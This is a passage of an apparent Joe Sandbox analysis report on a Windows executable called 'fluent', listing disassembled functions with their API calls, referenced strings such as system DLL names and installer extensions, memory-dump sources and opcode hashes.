Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FileFindFirst$_wcslen
String ID:
API String ID: 1818217402-0
Opcode ID: 10c9aff3e6a4a19ed4dc8f4e23a95d7a5e580f2f7877e7043010db927500b81a
Instruction ID: 76577ed66c31567bac2acc7f72d366626fa066adadd9d56a0e120e8904118190
Opcode Fuzzy Hash: 10c9aff3e6a4a19ed4dc8f4e23a95d7a5e580f2f7877e7043010db927500b81a
Instruction Fuzzy Hash: 0F41D276501258ABCB25DFA8CC84AEAB7BAFB48350F00419AF55DE3240D7346E94CF94

Function 04F26846 Relevance: 3.0, APIs: 2, Instructions: 32
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,00000000), ref: 04F2685E
GetSystemInfo.KERNELBASE(?), ref: 04F26870

Memory Dump Source

Source File: 00000000.00000002.1697190348.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_fluent.jbxd

Similarity

API ID: InfoInformationProcessQuerySystem
String ID:
API String ID: 1993426926-0
Opcode ID: aea6154cea3d0e0c18407f7b0bfa5f34e76eb817e124f98dbb39387d43d91f17
Instruction ID: a9294f69ad6dbf53b67ef9c08cb171c4bde3045ce8cf09e5643faa9e21c6f4fe
Opcode Fuzzy Hash: aea6154cea3d0e0c18407f7b0bfa5f34e76eb817e124f98dbb39387d43d91f17
Instruction Fuzzy Hash: 18F0DA76A00119AFCB189F99DC45EDFBBBCEB49751B008419F916D7210DA309914CBA0

Function 006E848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E8493

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 355ed1769f869a914d696fd9a2bb3d5401055f1172d7803bc2dce556658283fd
Instruction ID: 66ad5c9162fd65134570d182e2d472df8a366a90594481e703f2a842289dd0cd
Opcode Fuzzy Hash: 355ed1769f869a914d696fd9a2bb3d5401055f1172d7803bc2dce556658283fd
Instruction Fuzzy Hash: D3821B709063C5AEDF15CF65C895BFAB77BAF15300F0841B9E84D9B282DB315A89CB60

Function 00707DF8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e18754af1228720b0a98fb0f90da5dbeff209819822e17d4543ba839dad764
Instruction ID: 8a8d03ea2462c5e6ac5a1ee3a634563e8301473fe3ee794c4fa183b20a31620d
Opcode Fuzzy Hash: c0e18754af1228720b0a98fb0f90da5dbeff209819822e17d4543ba839dad764
Instruction Fuzzy Hash: BDE0EC31441148EBCF06AF14DD099893FA6EB04381B008594F8059A2B1CB3AEE51DB54

Function 006F0888 Relevance: 122.8, APIs: 2, Strings: 68, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,|<q,00000800,?,00000000,?,00000800), ref: 006F0C9C
_swprintf.LIBCMT ref: 006F0D4A

Strings

ws2_32.dll, xrefs: 006F0957
dfscli.dll, xrefs: 006F0AC4
DXGIDebug.dll, xrefs: 006F08FC, 006F0C5E
sfc_os.dll, xrefs: 006F0904
WindowsCodecs.dll, xrefs: 006F0A14
RpcRtRemote.dll, xrefs: 006F0B1C
comres.dll, xrefs: 006F094F
oleaccrc.dll, xrefs: 006F09F3
cryptbase.dll, xrefs: 006F092F
wintrust.dll, xrefs: 006F09C7
D=q, xrefs: 006F0CB9, 006F0CC9
iphlpapi.DLL, xrefs: 006F0A56
,<q, xrefs: 006F08E7
rsaenh.dll, xrefs: 006F0917
linkinfo.dll, xrefs: 006F0B06
clbcatq.dll, xrefs: 006F0947
samcli.dll, xrefs: 006F0AA3
mpr.dll, xrefs: 006F0A77
imageres.dll, xrefs: 006F0A40
ws2help.dll, xrefs: 006F095F
|<q, xrefs: 006F0C7D, 006F0C50, 006F0C8D, 006F0D31
cryptui.dll, xrefs: 006F09BF
cscapi.dll, xrefs: 006F0A2A
devrtl.dll, xrefs: 006F0A82
userenv.dll, xrefs: 006F0997
psapi.dll, xrefs: 006F0967
dwmapi.dll, xrefs: 006F0927, 006F0D0D
dhcpcsvc.dll, xrefs: 006F0AF0
usp10.dll, xrefs: 006F093F
netutils.dll, xrefs: 006F0A6C
msasn1.dll, xrefs: 006F09B7
wkscli.dll, xrefs: 006F0AB9
|<q, xrefs: 006F0B9E, 006F0BA2
cabinet.dll, xrefs: 006F09E8
shell32.dll, xrefs: 006F09D2
dnsapi.DLL, xrefs: 006F0A4B
secur32.dll, xrefs: 006F09DD
shdocvw.dll, xrefs: 006F09A7
UXTheme.dll, xrefs: 006F091F
ieframe.dll, xrefs: 006F096F
apphelp.dll, xrefs: 006F098F
setupapi.dll, xrefs: 006F0987
dsrole.dll, xrefs: 006F0B32
aclui.dll, xrefs: 006F0B27
WINNSI.DLL, xrefs: 006F0A61
XmlLite.dll, xrefs: 006F0AFB
crypt32.dll, xrefs: 006F09AF
propsys.dll, xrefs: 006F0A8D
cryptsp.dll, xrefs: 006F0B11
SetDefaultDllDirectories, xrefs: 006F08B9
netapi32.dll, xrefs: 006F099F
browcli.dll, xrefs: 006F0ACF
atl.dll, xrefs: 006F097F
SSPICLI.DLL, xrefs: 006F090F
srvcli.dll, xrefs: 006F0A1F
version.dll, xrefs: 006F08EF
profapi.dll, xrefs: 006F0A09
peerdist.dll, xrefs: 006F0B3D
ntmarta.dll, xrefs: 006F09FE
rasadhlp.dll, xrefs: 006F0ADA
ntshrui.dll, xrefs: 006F0977
slc.dll, xrefs: 006F0A35
SetDllDirectoryW, xrefs: 006F0888
mlang.dll, xrefs: 006F0A98
uxtheme.dll, xrefs: 006F0D17
lpk.dll, xrefs: 006F0937
samlib.dll, xrefs: 006F0AAE
dhcpcsvc6.dll, xrefs: 006F0AE5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AttributesFile_swprintf
String ID: ,<q$D=q$DXGIDebug.dll$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll$|<q$|<q
API String ID: 1328629133-2911787078
Opcode ID: 8e6964c496a92f2be2bffafb76be91dfdf42cf61407689b0b6ccb3e69f26f23e
Instruction ID: bc6faeffa82d738d7f347baa628e4125c692acf93933cbd35be73bca996fd33a
Opcode Fuzzy Hash: 8e6964c496a92f2be2bffafb76be91dfdf42cf61407689b0b6ccb3e69f26f23e
Instruction Fuzzy Hash: 86B177B1108384ABD730DF58C849BDFBBF9BB85704F50492DF289662C1C7B88689CB56

Function 006FC73F Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 006FC744

Part of subcall function 006FAF98: _wcschr.LIBVCRUNTIME ref: 006FB033

_wcslen.LIBCMT ref: 006FCA0A
_wcslen.LIBCMT ref: 006FCA13
SetWindowTextW.USER32(?,?), ref: 006FCA71
_wcslen.LIBCMT ref: 006FCAB3
_wcsrchr.LIBVCRUNTIME ref: 006FCBFB
GetDlgItem.USER32(?,00000066), ref: 006FCC36
SetWindowTextW.USER32(00000000,?), ref: 006FCC46
SendMessageW.USER32(00000000,00000143,00000000,0072A472), ref: 006FCC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 006FCC7F

Strings

ProgramFilesDir, xrefs: 006FCB45
Software\Microsoft\Windows\CurrentVersion, xrefs: 006FCB1A
o, xrefs: 006FCB24
%s.%d.tmp, xrefs: 006FC940
<o, xrefs: 006FC909
<br>, xrefs: 006FC9D4

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$H_prologItem_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$<o$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$o
API String ID: 3356938749-2070293937
Opcode ID: 55ee75308181445f6f494dc6e080401787d3442e1f8cfa04509799cc06b763c8
Instruction ID: 93cf288d6413693e6d3e5b81e2cee4eeb832b48de71e7e8dc6da86e612108453
Opcode Fuzzy Hash: 55ee75308181445f6f494dc6e080401787d3442e1f8cfa04509799cc06b763c8
Instruction Fuzzy Hash: 0AE1547290025CAADF24DBA4DD85DFE73BEAB05350F4081A6F709E7190EB749F848B64

Function 006FD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 006FB579
Part of subcall function 006FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FB58A
Part of subcall function 006FB568: IsDialogMessageW.USER32(00010472,?), ref: 006FB59E
Part of subcall function 006FB568: TranslateMessage.USER32(?), ref: 006FB5AC
Part of subcall function 006FB568: DispatchMessageW.USER32(?), ref: 006FB5B6

GetDlgItem.USER32(00000068,0073FCB8), ref: 006FD4E8
ShowWindow.USER32(00000000,00000005,?,?,?,006FAF07,00000001,?,?,006FB7B9,0071506C,0073FCB8,0073FCB8,00001000,00000000,00000000), ref: 006FD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 006FD51B
SendMessageW.USER32(00000000,000000C2,00000000,007135F4), ref: 006FD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 006FD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 006FD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 006FD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 006FD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 006FD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 006FD5E1
SendMessageW.USER32(00000000,000000C2,00000000,007143F4), ref: 006FD5F0

Strings

\, xrefs: 006FD549

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 6dea386198998571eecaab754f72dce272119c0d6521fa484e47c9ea73d6369b
Instruction ID: 0426271b79952fef1c31dcb836507488b07f7b5ce1548b0f78d2cba4eaab6baf
Opcode Fuzzy Hash: 6dea386198998571eecaab754f72dce272119c0d6521fa484e47c9ea73d6369b
Instruction Fuzzy Hash: 34310471145346BFE311DF20DC4AFAB7FAEEB83704F004609F651961A0DBA99A05877A

Function 006EDD80 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 006EDDE9
__fprintf_l.LIBCMT ref: 006EDF1C

Strings

DIALOG, xrefs: 006EDDD0
MENU, xrefs: 006EDDD7
@%s:, xrefs: 006EDF06, 006EDF12
STRINGS, xrefs: 006EDDC9
,, xrefs: 006EDF57
$%s:, xrefs: 006EDEFF
DIRECTION, xrefs: 006EDDDE
RTL, xrefs: 006EDEDE

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: __fprintf_l_wcslen
String ID: ,$$%s:$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 2299889570-2003356997
Opcode ID: ae8e98d65a844c01f329aaa06cf1e218078cd548789d1bcb35466a31650cbe52
Instruction ID: 913f347802aa10d434a165aa707da2fe05a640d6afa52658c4c4f13434a6bf0f
Opcode Fuzzy Hash: ae8e98d65a844c01f329aaa06cf1e218078cd548789d1bcb35466a31650cbe52
Instruction Fuzzy Hash: D1E1F031901398EBCF24EF69C845AE973B6FF18304F40456AF9069B281E7B6ED95CB50

Function 006FD78F Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 006FD7AE
ShellExecuteExW.SHELL32(?), ref: 006FD8DE
ShowWindow.USER32(?,00000000), ref: 006FD91D
ShowWindow.USER32(?,00000001), ref: 006FD9E1

Strings

ro, xrefs: 006FD911
.exe, xrefs: 006FD989
PDu<o, xrefs: 006FD8DE
Install, xrefs: 006FD8A9
.inf, xrefs: 006FD89A
ho, xrefs: 006FD92E

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ShowWindow$ExecuteShell_wcslen
String ID: .exe$.inf$Install$PDu<o$ho$ro
API String ID: 855908426-334885298
Opcode ID: 422fa7c38fa8005b94dbe5f01c1f96bd8892f890c6ddcc84ef1b92abb71f3152
Instruction ID: 7a39632468c318f3bee7e9c242963ac1212271c64ebfc471d045cc42a9538c96
Opcode Fuzzy Hash: 422fa7c38fa8005b94dbe5f01c1f96bd8892f890c6ddcc84ef1b92abb71f3152
Instruction Fuzzy Hash: B1512870404388AAEB309F64D8447FBBBE7AF42784F04441EF6D4973A0D7B5A984CB26

Function 006FB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 006FB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FB58A
IsDialogMessageW.USER32(00010472,?), ref: 006FB59E
TranslateMessage.USER32(?), ref: 006FB5AC
DispatchMessageW.USER32(?), ref: 006FB5B6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: d238bc59fac46dc07103763d7f8ee57abe2aab08b8d8ef428166db92aa884644
Instruction ID: be22e74459dd24090c60c4ab522d790627151756c6875581f7c44ceaf474142a
Opcode Fuzzy Hash: d238bc59fac46dc07103763d7f8ee57abe2aab08b8d8ef428166db92aa884644
Instruction Fuzzy Hash: 0BF0D075A0111AAB8B20AFE5DC4CDEB7FBDEE063917008515B919D2120EB3CD605CBB4

Function 0070A976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ss, xrefs: 0070AB4A, 0070AB76
9E(j, xrefs: 0070A99E

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID: 9E(j$Ss
API String ID: 0-3721070479
Opcode ID: bdbf332060032f7c9b3daf53400ba8b71374a6e692f03a8136807095400f0eaa
Instruction ID: 791942526a600b18dfc83a18fc3f94f954df985ca10312d3c5f470a7ff0629af
Opcode Fuzzy Hash: bdbf332060032f7c9b3daf53400ba8b71374a6e692f03a8136807095400f0eaa
Instruction Fuzzy Hash: D851BFB2600316FADB258E64CC45EBAB7EAEB44750F158729FC04DA1C0EB7CDC90D692

Function 006FABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 006FABC2
FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 006FABE9
SHAutoComplete.SHLWAPI(?,00000010), ref: 006FABF9

Strings

EDIT, xrefs: 006FABCD, 006FABD8, 006FABE5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AutoClassCompleteFindNameWindow
String ID: EDIT
API String ID: 1162832696-3080729518
Opcode ID: 3fe8463561b4504baac91572005ad3370fec52997da74372ea80629ee2b0204a
Instruction ID: 750304c8910bf1a2fa3cd642fac02a6ba299de2d537c7c9da2eb8972ea9f8193
Opcode Fuzzy Hash: 3fe8463561b4504baac91572005ad3370fec52997da74372ea80629ee2b0204a
Instruction Fuzzy Hash: 00F0E27660022C76DB3096A49C0AFEB72AE9F43B40F484126BA08A21C0D764DA41C5BA

Function 006FAC16 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 006FAC2F
SHGetMalloc.SHELL32(00728438), ref: 006FAC70

Strings

riched20.dll, xrefs: 006FAC1E
3To, xrefs: 006FAC47

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

